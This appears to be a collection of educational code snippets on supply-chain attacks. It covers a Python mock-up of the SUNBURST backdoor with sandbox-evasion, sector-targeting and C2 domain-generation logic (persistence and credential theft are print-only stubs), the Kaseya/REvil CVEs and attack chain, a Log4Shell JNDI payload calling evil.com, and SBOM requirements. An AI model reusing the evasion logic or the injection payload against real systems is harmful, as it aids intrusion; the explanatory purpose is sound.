# Simplified representation of SUNBURST backdoor technique
import base64
import hashlib
 
def disguised_payload():
    """SUNBURST used legitimate-looking code with hidden functionality"""
    
    # Appeared as normal configuration check
    config_check = "OrionImprovementBusinessLayer"
    
    # Hidden C2 domain generation using DNS
    domains = generate_c2_domains(config_check)
    
    # Dormant period to avoid detection
    if not is_safe_environment():
        return  # Exit without malicious activity
    
    # Selective targeting - only activated for specific victims
    if target_organization_detected():
        establish_persistence()
        exfiltrate_credentials()
 
def generate_c2_domains(seed):
    """Generate seemingly random domains for command & control"""
    # Used DGA (Domain Generation Algorithm) for resilience
    
    import hashlib
    from datetime import datetime
    
    # Create seed-based domain generation
    base_domains = ['avsvmcloud', 'digitalcollege', 'freescanonline', 'deftsecurity']
    
    # Generate time-based variation
    current_time = datetime.now()
    time_seed = f"{seed}_{current_time.strftime('%Y%m%d')}"
    
    # Hash-based domain selection
    hash_obj = hashlib.md5(time_seed.encode())
    hash_hex = hash_obj.hexdigest()
    
    # Select domain based on hash
    domain_index = int(hash_hex[:2], 16) % len(base_domains)
    selected_domain = base_domains[domain_index]
    
    # Add subdomain variation
    subdomain_suffix = hash_hex[2:8]
    full_domain = f"{subdomain_suffix}.{selected_domain}.com"
    
    return [full_domain]
 
def is_safe_environment():
    """Check if environment is safe for malicious activity"""
    
    import os
    import socket
    
    # Check for analysis environments (simplified)
    analysis_indicators = [
        'vmware', 'virtualbox', 'sandbox', 'analyst',
        'malware', 'virus', 'security', 'wireshark'
    ]
    
    hostname = socket.gethostname().lower()
    username = os.getenv('USER', '').lower()
    
    # Avoid execution in analysis environments
    for indicator in analysis_indicators:
        if indicator in hostname or indicator in username:
            return False
    
    return True
 
def target_organization_detected():
    """Check if current environment matches target criteria"""
    
    import os
    
    # Check for high-value targets (simplified)
    target_indicators = [
        'gov', 'treasury', 'defense', 'energy',
        'health', 'finance', 'critical', 'infrastructure'
    ]
    
    domain = os.getenv('USERDNSDOMAIN', '').lower()
    
    return any(indicator in domain for indicator in target_indicators)
 
def establish_persistence():
    """Establish persistence mechanisms"""
    
    # This is a demonstration - actual malware would implement
    # various persistence techniques like:
    # - Registry modifications
    # - Service creation
    # - Scheduled tasks
    # - DLL hijacking
    
    print("DEMO: Persistence mechanism would be established")
    return True
 
def exfiltrate_credentials():
    """Exfiltrate stored credentials"""
    
    # This is a demonstration - actual malware would:
    # - Access browser stored passwords
    # - Extract cached domain credentials
    # - Harvest certificates and keys
    # - Access password managers
    
    print("DEMO: Credential exfiltration would occur")
    return True

# Authentication bypass vulnerabilities
- CVE-2021-30116: Authentication bypass in web interface
- CVE-2021-30117: Local file inclusion vulnerability  
- CVE-2021-30118: SQL injection in user interface
- CVE-2021-30119: Privilege escalation through file upload
 
# Attack chain simplified
attack_flow:
  1. "Exploit zero-day vulnerabilities in Kaseya VSA"
  2. "Deploy REvil/Sodinokibi ransomware payload"
  3. "Encrypt MSP customer environments automatically"
  4. "Demand $70M ransom for universal decryptor"

// Log4Shell (CVE-2021-44228) exploitation example
public class Log4ShellExploit {
    private static final Logger logger = LogManager.getLogger();
    
    public void vulnerableLogging(String userInput) {
        // Dangerous: Direct logging of user input
        logger.info("User request: " + userInput);
        
        // Attacker payload: ${jndi:ldap://evil.com/Exploit}
        // Results in: Remote code execution through JNDI lookup
    }
    
    // Secure alternative
    public void secureLogging(String userInput) {
        // Safe: Parameterized logging prevents injection
        logger.info("User request: {}", userInput);
        
        // Additional protection: Input validation
        if (containsSuspiciousPatterns(userInput)) {
            logger.warn("Suspicious input detected and blocked");
            return;
        }
    }
}

software_supply_chain_requirements:
  sbom_provision:
    requirement: "Provide Software Bill of Materials for all software"
    format: "SPDX or CycloneDX standard formats"
    timeline: "Within 12 months of software delivery"
  
  vulnerability_disclosure:
    requirement: "Establish coordinated vulnerability disclosure process"
    response_time: "72 hours for initial acknowledgment"
    remediation: "Critical vulnerabilities within 14 days"
  
  secure_development:
    practices: 
      - "Multi-factor authentication for developers"
      - "Code signing with hardware security modules"
      - "Automated security testing in CI/CD"
      - "Third-party component verification"
  
  attestation:
    requirement: "Self-attest to secure development practices"
    verification: "Government audits and verification procedures"